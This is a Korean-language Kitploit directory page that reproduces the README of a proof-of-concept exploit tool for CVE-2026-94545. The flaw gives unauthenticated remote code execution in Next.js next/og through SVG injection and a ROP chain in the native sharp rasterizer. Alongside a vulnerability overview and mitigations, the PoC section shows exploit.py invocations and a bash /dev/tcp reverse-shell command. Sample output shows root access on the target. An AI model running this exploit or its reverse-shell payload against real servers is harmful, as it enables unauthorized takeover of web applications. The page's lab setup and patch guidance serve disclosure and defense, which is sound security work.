Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-94545 — CVE-2026-94545에 대한 개념 증명 익스플로잇으로, SVG 주입을 통한 Next.js next/og의 인증되지 않은 RCE와 네이티브 sharp 래스터라이저에 대한 ROP 체인입니다. | Kitploit
도구/GitHubGitHub/eqstlab/cve-2026-94545
Vulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationRemote Access ToolPayload Development
GitHubeqstlab/cve-2026-94545

CVE-2026-94545

CVE-2026-94545에 대한 개념 증명 익스플로잇으로, SVG 주입을 통한 Next.js next/og의 인증되지 않은 RCE와 네이티브 sharp 래스터라이저에 대한 ROP 체인입니다.

저장소 보기
9361일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-94545 Next.js next/og 인증되지 않은 RCE

★ CVE-2026-94545 Next.js next/og SVG 주입을 통한 네이티브 RCE ★

https://github.com/user-attachments/assets/e297b40b-36ad-4a9a-b0c1-a64429bc0160


개요

next/og는 JSX를 Satori로 SVG로 렌더링한 다음 그 SVG를 래스터화하여 Open Graph 이미지를 생성합니다. Satori는 사용자가 제공한 텍스트를 이스케이프하지 않고 SVG에 기록하므로(CWE-116), 요청이 주변 요소를 닫고 자체 SVG 마크업을 주입할 수 있습니다. 라우트가 sharp가 설치된 Node.js 런타임에서 실행되면, 해당 SVG는 샌드박스된 wasm 렌더러가 아닌 네이티브 라이브러리(libvips, librsvg, libxml2)에 의해 래스터화됩니다. XInclude 참조와 중첩된 DTD 엔티티로 구성된 페이로드는 해당 네이티브 파서 내부의 메모리를 손상시킵니다. 공식 Node.js 바이너리는 non-PIE이므로 코드와 GOT가 무작위화되지 않으며, 고정된 ROP 체인이 주소 유출 없이 execve에 도달합니다. OG 이미지 라우트에 대한 인증되지 않은 단일 요청만으로 서버 프로세스로서 명령을 실행하기에 충분합니다.


영향을 받는 버전

CategoryVersion
VulnerableNext.js 16.2.0 – 16.3.5 (Node runtime, sharp present), Satori >=0.0.27 <0.33.5
PatchedNext.js 16.3.6 / Satori 0.33.5 or later

Node.js 런타임 경로만 영향을 받습니다. export const runtime = 'edge'를 사용하거나 sharp 없이 설치한 경우, 이미지는 샌드박스된 resvg-wasm 렌더러에 의해 그려지며 이 버그는 코드 실행으로 이어지지 않습니다.


영향

  • Next.js 서버 프로세스로서 인증되지 않은 코드 실행. 요청 데이터를 ImageResponse에 전달하는 모든 라우트가 싱크입니다.
  • 익스플로잇은 블라인드입니다. 성공적인 execve는 워커를 대체하므로, HTTP 요청은 단순히 종료되고 결과는 리버스 셸이나 외부로 통신하는 명령 등 다른 방법으로 돌아와야 합니다.
  • 페이로드는 안정적입니다. Node 바이너리가 non-PIE이므로, 주어진 Node 빌드에 대해 가젯 주소는 모든 호스트와 재부팅에서 동일하며, 따라서 대상별 유출이나 무차별 대입이 필요하지 않습니다.
  • 성공적인 공격은 워커를 충돌시킵니다. node 프로세스가 주입된 명령으로 대체되므로, 서버는 재시작될 때까지 응답을 중단합니다.

환경

취약한 구성을 재현하는 최소한의 Next.js 앱입니다. /api/og의 라우트는 Node 런타임에서 ImageResponse를 렌더링하며, 네이티브 래스터라이저가 사용되도록 sharp가 설치되어 있습니다. 이미지는 ROP 체인이 의존하는 정확한 스택을 고정합니다(Node 24.20.0 non-PIE, Next 16.3.5, sharp 0.35.4 with libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3). 첫 빌드는 Node를 가져오고, npm 의존성을 설치하며, next build를 실행하는데, 이는 몇 분이 걸립니다.

docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545

# sanity check: a benign render returns 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"
PreconditionState in this lab
Next.js 16.2.0 – 16.3.5 on the Node runtimeNext 16.3.5, runtime = 'nodejs'
sharp installed, so the native librsvg/libxml2 path is usedsharp 0.35.4, libvips 8.18.6, rsvg 2.62.91, xml2 2.15.3
Non-PIE Node binary for a stable ROP baseofficial Node v24.20.0 linux-x64 (SHA-verified)
OG-image route reachable without authGET and POST /api/og, request text goes into an SVG <title>
Outbound path available for a reverse shellbash and /dev/tcp are present

PoC

취약한 라우트는 POST /api/og입니다. 이는 요청 본문을 받아 래스터화 전에 SVG <title>에 배치합니다. exploit.py는 선택한 명령에 대해 해당 SVG를 생성하고, ROP 체인을 <path>에 인코딩한 뒤, 이를 라우트로 전송합니다.

가장 간단한 실행은 리버스 셸을 엽니다. 대상과 리스너 주소를 지정하면, nc를 대신 시작하고, 요청을 발사하며, 셸을 넘겨줍니다.

python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444

페이로드는 Environment에 나열된 스택에 맞게 보정되었으므로, 이 이미지나 동일한 Node 및 sharp 빌드를 가진 호스트에 대해 실행하십시오. 성공하면 node 프로세스가 명령으로 대체되며, 이는 HTTP 요청이 종료되고 컨테이너가 재시작될 때까지 서비스가 응답을 중단함을 의미합니다.

[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux

리버스 셸은 서버 프로세스로서 실행되며, 이는 인증되지 않은 단일 요청으로부터의 코드 실행을 확인합니다. 리스너 없이 하나의 명령을 실행하려면 직접 전달하십시오. 출력은 HTTP로 반환되지 않으므로, 명령은 보고 싶은 모든 것을 대역 외로 전송해야 합니다.

# single command, no listener
python3 exploit.py --target 172.17.0.3:3000 --command "id"

# only build the payload, then send it yourself
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/og

완화

  • SVG 텍스트를 직렬화할 때 이스케이프하여 주입을 차단하는 Next.js 16.3.6 / Satori 0.33.5 이상으로 업그레이드하십시오.
  • 아직 업그레이드할 수 없다면, next/og 라우트를 export const runtime = 'edge'로 이동하여 샌드박스된 wasm 렌더러가 사용되도록 하거나, sharp를 제거하여 네이티브 경로에 도달하지 않도록 하고, 정제되지 않은 사용자 입력을 ImageResponse 자식에서 배제하십시오.
  • OG 이미지 라우트를 인증이나 허용 목록 뒤에 두고, 서버의 아웃바운드 트래픽을 제한하여 블라인드 유출을 어렵게 만드십시오.
  • 패치 후에는 인터넷에서 접근 가능한 인스턴스를 침해된 것으로 취급하십시오: 앱 프로세스가 읽을 수 있었던 모든 비밀을 교체하고 지속성 여부를 확인하십시오.

분석

  • KR:
  • EN:
도구 다운로드